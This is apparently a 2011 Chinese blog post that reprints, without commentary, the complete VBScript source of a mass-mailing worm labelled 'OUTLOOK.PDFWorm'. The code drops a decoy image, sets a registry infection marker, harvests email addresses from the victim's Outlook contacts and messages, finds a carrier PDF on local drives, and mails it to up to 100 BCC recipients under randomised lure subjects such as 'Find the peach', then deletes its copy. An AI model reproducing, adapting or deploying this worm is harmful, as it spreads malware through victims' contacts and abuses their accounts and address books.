一个PDF病毒的源代码

On Error Resume Next Dim P &#39;Stores the path of the PDF file. It is declared because it needs to be gl obal but it&#39;s first used by a procedure. Dim U() &#39;Array storing email addresses. This array is always one number bigger t han the amount of email addresses. ReDim U(0) &#39;Create and open image file showing what the user expects. KJ="474946383961CD008D00F7000000000010290018000018290018310821080021100021180029 10002918003118002129002925083918082931003529042131102139102942184433104A31183152 25415A2D4E60395A39086544155A5629605D2E5A6339526F466363396070446B5431775B2D746C43 85683E916B3F96714AA86F43B975437B81568D8E60A68150A49369B97C4BBB905FB59C69B1A76FCA 8344C98257CE9062CA9C62D6844FDA9454D79164E89762C1A66FCBA773D8A568D6B073E4A26BEDA2 69E4AB6BE5B2730000FF0808FF1010FF1818FF2121FF2929FF3131FF3939FF4242FF4A4AFF5252FF 5A5AFF6363FF6B6BFF7373FF7B7BFFA5AD84BDC694C6AD84CEB286BDBD9CC6CE9C8484FF8C8CFF94 94FF9C9CFFA5A5FFADADFFB5B5FFBDBDFFC6C6FFCECEFFE79C7BDEA587EBA47BEFAD7BDAB184E7B5 7FD6B294E4B38ED6BD84DEBD88E7BD84E7C18CDBC094E2C698E7C69CE7CE9CE7ADA5E7B5A5D6CEA5 E2C1A5D6CEADDED2A5E7CEA5E7D6A5D6D6ADDED6ADE7D6ADE7DEADE7E7B5D6D6FFDEDEFFE7E7FFFF 0000FF0808FF1010FF1818FF2121FF2929FF3131FF3939FF4242FF4A4AFF5252FF5A5AFF6363FF6B 6BFF7373FF7B7BEFB573EFB57BF7A56BF7AD73F7B56BFBB173F7AD7BFBB57BFF8484FFAD84F7AD8C FF8C8CFF9494FF9C9CFFA5A5FFADADEFBD73EFB97FF3C177F9C078EFB58CF1BA86F7BD88FFBA86EF C684F3CA7FF7C684EFC68CF7CE7BFCCB7EF9C889FFCA88EFC694F3BD9CFFB994FBC694F7C69CFFC6 9CFFCE8CEFCE94EFB5ADEFBDADEFC6ADF7C6ADF7C6B5FFB5B5FFBDBDFFC6C6F7CE94FFCE94EFCE9C F7CE9CF7D684F7D68CFFD68CF3DA90EFDA9CF7D694F7DE94FFD694FFDE8CFFDE94FFE78CFFE794F7 D69CF7DE9CFFCE9CFFD69CFFDE9CFFE79CEFCEA5EFD6A5EFDEA5EFE7A5F7D6A5F7DEA5F7E7A5FFCE A5FFD6A5FFDEA5FFE7A5FFEFA5EFDEADEFE7ADF7D6ADF7DEADF7E7ADF7EFADFFDEADFFE7ADFFEFAD F7E7B5FFCEB5FFD6B5FFDEB5FFE7B5FFEFB5F7EFBDFFD6BDFFE7BDFFEFBDFFDEC6FFE7C6FFCECEFF D6D6FFDEDEFFE7E7FFEFEFFFF7F7EFEFFFF7F7FFFFFFFF2C00000000CD008D000008FE00FF091C48 B0A0C18308132A5CC8B0A1C38710234A9C48B1A2C58B18336ADCC8B1A3C78F20438A1C49B2A4C993 2853AA5CC9B2A5CB973063CA8CB96F5FBE7B3873EADBC76FA6CF9F20F5DDEBC42811214282062955 9A745021458D3EE1DB07B4AA5587FB7E614A34285020418100891D4B1690D7B38416719A7AB5EDD5 7D9F1411F25AB6AEDDB261031562F48BAADBBF2FF161EA1AF6AEE1C362BD1AE2A40FB06394F81881 454CB972A0418DEE3DDE0C32F2E4CAA0297FCDCCB934C67C8D04855E0DFA32A6C6A6633FE4E76990 6AD6B8451FF225BBB7C27C8B0AE71E7EF82B26BFBE93FFF355E836F1E7860521C2A7BC373F4E83A0 6B2F4EA85775D3FB52FE6F1F7FF72BA7EF9BF70527CFBEAED74DE801AB77DEBEBE5841F0E3BF5D44 1FBA5741008215205DE3E1A75F55FC48A6DD7F8420F208279DF882532F9D70E2C8214899A5DD20E7 1DE81326C2E5E6D5208A78B2D342FCD8C409226085889B20DE7918D3272EAEF655229FC016113FF9 7062C867B90D429D8C2EDDD35F685F31924F4F17F1E30B8B355A66087244A6C4CF21220AB288661C 39F9A3888D54B91226220ED209931EED83099048F226E64946BE88089722F592216B8550F96648FC 2012A561A3E919123E891C8958208FEC4992277F9627488727EDA3E06A820CA9E847FA10C2DA20BD A079123F6BDAA888A7976EF448A3760DE2894B8E181A9D9BFEA56EA44F76A10992A84BFBF8592B22 A4C66A1188482222A84AF8685A2B9DBE5AB44F21AB092913A3482E922C46D08226C8AA3225886A59 82E433AD45896C3B562089F44A1000E8A6ABEEBAECB6BB6E42992299DFB712E5E3AA5D82207B90BB FCF6CBAE429D883B5621E6D2BBD026029BC548C103A1CB80020618804003259861062F70C4914B1C 71EC62C619669081430B2EA8400208143C8CAE42CB22A9AFC1282252ABA509A17B0004071C900005 2BE402073BBAC8530F39EDCCD38E3BE858B3C6196AE4D082081424A0C0CA00278C28CC0FE9732F5E 8A34846E04114030C0031EB860861B6EDCF2C635EBBCB38E38E26CA30D30A8FCA0830E2A80A080FE 005427B48FB1951DC230D604F992308C5E035081051204E0800752B401CB2DC8548ECD38E68C830D 36C824838A283FF890430A204CD07742A75AAB23E109015BD920ABD70CC0051D58308003224CF1C6 1AB72403CD36DC8883F91DD844834C31AA80A2461A52E47D3A42BE6C4D5620BFB0BE50B896959B78 07DC5B20C20B7568B3861A6B40930E3AD888938E39C053B34C31A98882061B2E80F0FC41B3B606A9 F506FDADBF43E8E21E0A5610853CD0031DC2D8C10E4AF18D7468A31CE978473AD2018E66C00F1568 B0831944703F83F44960819016FF0EB20F5A89A67A89FBC0055250053EAC631DDA58850E66A00358 78431BDA70073CDEA10E7050E318FEC440C514ACC1861174D020AE3B542246883FE98D6510C3DA17 0050800228E0210F7778833060510619C46007B180C5309036417054A319C438C60EAE51C42316C4 70A03904130D720F1012228A0641170AA840073EE4E10DC8D8C63766218313B4600CA418A337BEF1 0D1F3E4319C7B8C53CEC60440034A48EA0B9E31C098249D120E2217A94031DF070876B5C431BD308 060F58C0CA30942116B490C637A8410D65304319B7B8461B4AE04682E4EF757864DD2F5AB3440002 20057290431D4A090D684CA3143F90010B4C100319E44016D298C6348A518C34DE421BBBECE5404A 68AD60122E60D903250056300739D8E10EC86866324C51061EB4609A26FE60812648218D60A80215 A928C637D7C04B4B32C47F95A9D42607C20910163371ECB4831D4C190D6F502318C1208518BC7802 13C8000CB378852940910A62C0021A6E286843C86999978DB05A4A54273BDB60076B08921A8D9CC6 2C4A410A30C4809536B0C42954110A51A46215C320A838058250CA0822764CFC8543656AB136DC42 18B304C737A0B18A59CC42163E8D410CC060894B88021491408530D64082A5FE83A59481E24205D2 C943196270E7024009A4200532B0A177D0A0253480418BAF6A020C3648EC0D7830094880A20CB048 435B0DBA907C981031729D2B3E12A6C9C48DC0052E90C214D4708B622C231A8CD4A92C4C218B4CDC 800634B8FE810F28018932AC41B26EAD2B62088157ACEDC389F7F156E244908217BC00073B288631 5CD10CD4522395C19845247860031858B7063E08C52DC830D986D008349F9CEB5B0177A81831045D 1E4841715D800350B04215BE8B86EF96010C5B8402123AA8817569008319A8610A956C8823A62A5E 7E144260827084313D8082F5227714AA10683292310D6004C316AA8804247A5003FD9E800533C041 80516408103242BC02598F6E7AFB0FF47E60802F98C10E7E208A35ACE216C098C63252A98A538C62 123EA8017F0DE93CCA26041FC0354B2750FC0F74BE4EB80B41170736F0811480760633F001F95661 61692C6319C178C5292E31891EDCA0062D6881FE0932B0544F243910345BE866AD85AD2803C00378 1E810A5C40431D94A10C6AE8AA2BBC3A0D6988B9CC3D98E10C54C066232344C594E9AC789B4A19C1 9D170022F0C00636400215B440063CD841187E50065294A2149708E929C63C0949F480862D088138 7F291A11329911B58295EC34B081093C000321C8670C6CA0033080E1076218C318C450D6555FA212 9368C10F72D05D853CE2CD7546712FACC62B3BFBEBDBEE5248BC54C76481F083BC88419C42C0CDEE 7FA12E6180B075B907DC9A29F9E41E974DB779CB8DE45A9D5826FAC05268F254EE817C1049D96E09 3FC4D31A4C149C209F48B258068142977042E2802004941FDE32241902AA28F945BEFED3FDEF870F A413180F8422CC19927C1CB859717EF89558A325967B241F5F42D2AD4C5E388C9B651136DF083E5E BE1A4280DCE48C8077620CE1D28F7C02DD094D38CF05326E1B9989C515D9C7B571432EAC6B5BE963 D1D2D19B740F5DE146E3534F48D2B3E488B14FE41E8AF0F9B8A49EF681E8A3C4C3B94C2362BE235F C49D38815858DD13826FB04F4F4B9F58124478E4093F197E5C87083ACF7BC126AE7FC5108DE8453E 78E2419B7CC2113F22D0700451888D0F1E2117DFCE5904410843282211AF7F7D2108D195CA9749D7 A74F08C2DA7396DE3FFE3083C07DEE138272FB181F1085A8F8F01942F9DF1FDF2E7AE1FBF213F20B 663D7F418830FDF419FEA20FB35F1F4C92DFBEC15BF57DDCA84AFC15F1C55CCA6F99E9A05F59AD72 BEEAAFFE7E8CC05DEEAA170423A45FFFB7C75DFE56B708FCD77F15710F8CD015C7E715858009DA47 80B2B20987807FC5210889E009E1E78014C10FBFD00873E17C67610898308018F811FC700F9CB008 11A81A8591170492174971088BE0098A37820AC70FFAE00B9C8009985014B1D70898B0099DD0179C 47834438125910044040044CE00745081849000450080443F0074DE81648108550F80455D8165788 854930135A808443D00454B849FE70854AC8841BD18551880432E10F43808545E00F9BF484512804 7DB0865808046E78107F808659501257B08740B0051AD10FFE47908481A81C59408856A08758D887 06D10458C80523D10F42E0881AC10495181146000441C004650813FD1087582804FD00896D881044 80854B30124E408840A08519D18A51F88A10218732F1048488051CC18650288905618B50A80422E1 054848888B8811C40804C6988B58181370B88747D011C0C88708918851F88821F189B2B88C09D107 42100448A08607A18D50C88D0FB18731D1887BF8051D51047B288C04E105DE9804740812BC288B85 C81094188C09618F50888F11C18E30818E50888B1CD18CD8481156100444E0047958108808044270 044F908AE7C88F40D0050C8190FEA0910FD1074900914F309105619009D10F10790456308A0371FE 8543C004F928107F9088179991E14888E6B8110CF98507F105AD38044E701056B087B438104AB087 42E0057EC8044930887BE8910BD18C62E80422F90F422985453910E2B8870449102A39105690044E 008F5D808541C0847F80055B800558D80404B194A7E89446398F1FC1904C8010EE08855D798547D0 979D28105F208B6B99107F4088289910C948884D391082D995FF40977B2899FFE00FD4A80503A105 58F8059C89854ED99858380403519884789806819050180418D99317C1900A591082499AFFC09109 39109C288B7B89107EC0930C619B425086B32910FDC08F44301057208F7B489B93099A9F198554C8 91B8C98FBB4910C5699B4D909515FEC190F408997B4887B60904452010FED09844B0055118043BB9 87AE79108E1997022198404087CF498803219AD12810CDE80752198502219D02619EE8B99A0631A0 B6890435B99D787910F2C9847B580489999E02E10571899951088F079196ECF99B588805160A85B4 D9A0FF108BFC3810FCA89E02918951D80FFBE89FB5298B4230A115DA9905D1A2B6A98E0A1A897CB9 A148F9A22EDA9FFD88858698A1BEB910066990226A87AB798703F104CA198544A090EC7894F9498D 032910406A88425A10949985FEF0074F6A91CCB887B1491022BA875A9A9F4B80857FF0A140008E04 A1A1346AA4D1E8A640109F1B1AA657A0A249F90F720A8559798AFF60A3FE77EAA350E8074FF09202 B1A6D0E9A6701AA641908FB979A1AFB987D5299B3C8A850E9A9FE818044DD08C5780107F0A8554F9 0F484004706AA8776A9A50789CFF20A2CD88986369A8C749A551B8A92E4A109DFAA95818AA04D18C E329105D0A049A69117AB9A39AAAAAFF999F0CB987381AA7844895D70904722996D1089751089467 9A9F083196BD1985E349A2B7AAACC378A3E5BA8A0211A66F5AA9A778055BE09ADBEAA206D9ACA068 044CB098D03A950221A7CF68A2D1A8A440C08DF10A85FBEAA9093A966EEA868C3AAEB3FA0FF41A04 F68AAF61DA87D31A85A54A11F40AA2EA38B0853AAF7778055CF0077EE005095A10A3BAAEFF80AD40 E0ABFEBAFEA2A269971CFB0F7F608ABED8B2046BAD577A8DB87AB3BFFAB1213BB225DB9CE02A10F5 09A817A19ABD88A7C97AA4F9E98D0D898C520893F98A858B68AB186AB32B2BA84A3BAE2A7AA86C28 8CB38A857B698A0CCBAD03E1B47D08B55388A94CFA0FAA49B147E0A9DAC91093CA8FDA9AA9F29A9F E23A04FDB0058D79B526AB8C02919B319A921C59ADAFBAA1D7089FE439AB4FBA0427BBACB93A107B DBB77F5B10D318855EA0B2163BB8D91A119C2B8BAE1AB3864A9B14CA8F469010DFDAAB026187972A B9B278B5221ABA730ABB853A100B5BA2E45A8F1C99BA051A9E92289A11B1BAB23804DC38AA3B5BA8 C42889C3BA9A806B105D9B8E02E18D438AB384FED8AF7EBAA1FE40AF653AAB276B90647BBB736998 CF8B9C1C3904E6488CCCF910C34A8E57B098114AA0FF10A613FA89426089E4A9AE4150BD0801A401 AB9F5018B427DA93F10B8AA519BD406004DA19BD0691BB47A8A6663B10FEA0BFFC6B105C10BE20BA 98E26A990ED10F48C09A4DC005411B9F43B988FDE004F2588D0AE10FC9098A4950BE07A105489089 4140955840044069B8A379047669A6254C107EC0049948044F10B45EE00447709106E10F4F10878F 68055D4B877F8884DD499E2D1C042FCC10FE900549108742B004AEE90F4BA90423AC28DFB9856DD1 B068EC136ABCC632D1C66E0C13701CC72EA1B574EC1364ABC2773C137FF0049F58B30F7B1CC8823C C8845CC886EC21010100003B" For Y=1 To Len(KJ) Step 2 PQ=PQ&Chr("&H"&Mid(KJ,Y,2)) Next Set S=CreateObject("Scripting.FileSystemObject") Set FY=S.CreateTextFile(S.BuildPath(S.GetSpecialFolder(2),"PEACH.JPG"),True) FY.Write PQ FY.Close Set W=CreateObject("WScript.Shell") W.Run S.BuildPath(S.GetSpecialFolder(2),"PEACH.JPG") &#39;Create and check registry key to know if it was already run. IJ=W.RegRead("HKLM\Software\OUTLOOK.PDFWorm\") If IJ="Version 1.0. By Zulu." Then WScript.Quit Else W.RegWrite "HKLM\Software\OUTLOOK.PDFWorm\","Version 1.0. By Zulu." End If &#39;Check if Outlook is installed. Set C=CreateObject("Outlook.Application") If C Is Nothing Then WScript.Quit &#39;Get email addresses from Outlook&#39;s address book and Outlook&#39;s emails (using OLE Automation). &#39;It will add them to the "U" array with the "Q" procedure using a method not see n before in any virus. Set Z=C.GetNameSpace("MAPI") Set N=Z.Folders(1) Q N &#39;If it was not able of finding email addresses the file will stop running. If UBound(U)=0 Then WScript.Quit &#39;Find duplicated addresses in the "U" array and assign an empty string in their place. For Y=0 To UBound(U)-1 For X=Y+1 To UBound(U)-1 If U(Y)=U(X) And U(Y)<>"" Then U(X)="" Next Next &#39;Remove the infected user&#39;s email addresses from the "U" array. It will check fo r the first 19 accounts. For Y=1 To 9 J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun ts\0000000"&Y&"\SMTP Email Address") J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun ts\0000000"&Y&"\SMTP Reply To Email Address") J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun ts\0000001"&Y&"\SMTP Email Address") J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun ts\0000001"&Y&"\SMTP Reply To Email Address") Next J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts \00000010\SMTP Email Address") J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts \00000010\SMTP Reply To Email Address") &#39;Check if there are email addresses in the "U" array after removing infected use r&#39;s email addresses. For Y=0 To UBound(U)-1 If U(Y)<>"" Then Exit For If Y=UBound(U)-1 Then WScript.Quit Next &#39;Check if Word is installed and search for PDF files with the correct size. When using Word the search will include all &#39;places in each fixed drive, the other type of search will only include usual pl aces. The path of the PDF file will be &#39;stored in the "P" variable. &#39;I also tried looking for the task name using "Tasks.Item().Name" from Word, but it was only possible to find the file &#39;name, not the full path of the file, so a search is needed. Set A=CreateObject("Word.Application") If A Is Nothing Then For Each B In S.Drives If B.DriveType=2 Then E B.DriveLetter&":\" If P<>"" Then Exit For End If Next If P="" Then E S.GetSpecialFolder(2) If P="" Then E W.SpecialFolders("Desktop") If P="" Then E W.SpecialFolders("MyDocuments") If P="" Then E W.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Progr amFilesDir") Else Set G=A.FileSearch G.NewSearch G.FileName="*.PDF" G.SearchSubFolders=True &#39;Do the search in each drive while the file is not found. For Each B In S.Drives If B.DriveType=2 Then G.LookIn=B.DriveLetter&":\" G.Execute If G.FoundFiles.Count>0 Then For Y=1 To G.FoundFiles.Count Set L=S.GetFile(G.FoundFiles(Y)) If L.Size>168230 And L.Size<168250 Then P=G.FoundFiles(Y) Exit For End If Next If P<>"" Then Exit For Else G.NewSearch G.FileName="*.PDF" G.SearchSubFolders=True End If End If Next A.Quit End If &#39;If the path is not found ("P" is empty) the file will stop running. If P="" Then WScript.Quit &#39;Create a string with values from the "U" array (to be used as the BCC part of t he email message). &#39;It will limit the amount of email addresses to 100. If UBound(U)-1<100 Then For Y=0 To UBound(U)-1 If U(Y)<>"" Then If T="" Then T=U(Y) Else T=T&";"&U(Y) End If Next Else Dim JD(99) For Y=0 To 99 JD(Y)=Int(UBound(U)*Rnd) Next For Y=0 To 99 For X=Y+1 To 99 If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1 Next Next For Y=0 To 99 If JD(Y)=-1 Then JD(Y)=Int(UBound(U)*Rnd) Next For Y=0 To 99 For X=Y+1 To 99 If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1 Next Next For Y=0 To 99 If JD(Y)<>-1 And U(JD(Y))<>"" Then If T="" Then T=U(JD(Y)) Else T=T&";"&U(JD(Y)) End If Next End If &#39;Set subject, body and attachment name. Randomize If Int(2*Rnd)=0 Then O="Fw: " EY=Int(5*Rnd) If EY=0 Then O=O&"You have one minute to find the peach" ElseIf EY=1 Then O=O&"Find the peach" ElseIf EY=2 Then O=O&"Find" ElseIf EY=3 Then O=O&"Peach" Else O=O&"Joke" End If If Int(2*Rnd)=0 Then O=O&"!" If Int(4*Rnd)=0 Then O=UCase(O) If Int(2*Rnd)=0 Then F="> " EY=Int(5*Rnd) If EY=0 Then If Left(O,2)="Fw" Then F=F&Mid(O,5) Else F=F&O ElseIf EY=1 Then F=F&"Try finding the peach" ElseIf EY=2 Then F=F&"Try this" ElseIf EY=3 Then F=F&"Interesting search" Else F=F&"I don&#39;t usually send this things, but..." End If If EY<4 Then If Int(2*Rnd)=0 Then F=F&"!" End If EY=Int(5*Rnd) If EY=0 Then F=F&" :-)" ElseIf EY=1 Then F=F&" :)" ElseIf EY=2 Then F=F&" =)" ElseIf EY=3 Then F=F&" :-]" End If If Int(4*Rnd)=0 Then F=UCase(F) EY=Int(6*Rnd) If EY=0 Then SW="find.pdf" ElseIf EY=1 Then SW="peach.pdf" ElseIf EY=2 Then SW="find the peach.pdf" ElseIf EY=3 Then SW="find_the_peach.pdf" ElseIf EY=4 Then SW="joke.pdf" Else SW="search.pdf" End If EY=Int(3*Rnd) If EY=0 Then SW=UCase(Left(SW,1))&Mid(SW,2) ElseIf EY=1 Then SW=UCase(SW) End If SW=S.BuildPath(S.GetSpecialFolder(2),SW) &#39;Copy PDF file to the temporary directory. S.CopyFile P,SW &#39;Send email message. Set H=C.CreateItem(0) H.BCC=T H.Subject=O If Int(2*Rnd)=0 Then H.Body=F Else H.HTMLBody=F H.Attachments.Add SW H.DeleteAfterSubmit=True H.Send &#39;Delete PDF file from the temporary directory. S.DeleteFile SW,True &#39;Recursive procedure used to get email addresses from Outlook and add them to th e "U" array. It will get addresses from &#39;each contact in the address book (using a method not seen before in any worm an d getting the first three addresses of &#39;each contact) and from the recipients of all emails found in any Outlook folder . Sub Q(I) On Error Resume Next For Each B In I.Items &#39;If the item is a contact (it will give an error and continue if not), get i t&#39;s first three email addresses. If B.Email1Address<>"" Then D B.Email1Address If B.Email2Address<>"" Then D B.Email2Address If B.Email3Address<>"" Then D B.Email3Address &#39;If the item is an email (it will give an error and continue if not), get th e email addresses of all recipients. For Each R In B.Recipients D R.Address Next Next &#39;Use the procedure with all subfolders. For Each B In I.Folders Q B Next End Sub &#39;Procedure that adds a value to the "U" array and changes the size of that array . Sub D(M) On Error Resume Next U(UBound(U))=M ReDim Preserve U(UBound(U)+1) End Sub &#39;Procedure that checks if the email address passed as parameter is available in the "U" array and, if so, it assigns an &#39;empty string in that array index. Sub J(V) On Error Resume Next For X=0 To UBound(U)-1 If UCase(U(X))=UCase(V) Then U(X)="" Exit For End If Next End Sub &#39;Recursive procedure used when searching for the PDF file without using Word. It will try finding the PDF file by looking &#39;for files with that extension and the correct size. If the file is not found in the specified directory it will look &#39;for all subdirectories and it will call itself using them as the new parameter. Sub E(K) On Error Resume Next If S.FolderExists(K) Then &#39;Check all files in the specified directory. For Each R In S.GetFolder(K).Files If UCase(S.GetExtensionName(R.Name))="PDF" Then If R.Size>168230 And R.Size<168250 Then P=R.Path Exit For End If End If Next &#39;If the file was not found and the directory is not root, use the procedure with all subdirectories. If P="" And Right(K,2)<>":\" Then For Each R In S.GetFolder(K).SubFolders E R.Path Next End If End If End Sub
posted @ 2011-08-09 13:46  Mr.Jim  阅读(435)  评论(0编辑  收藏  举报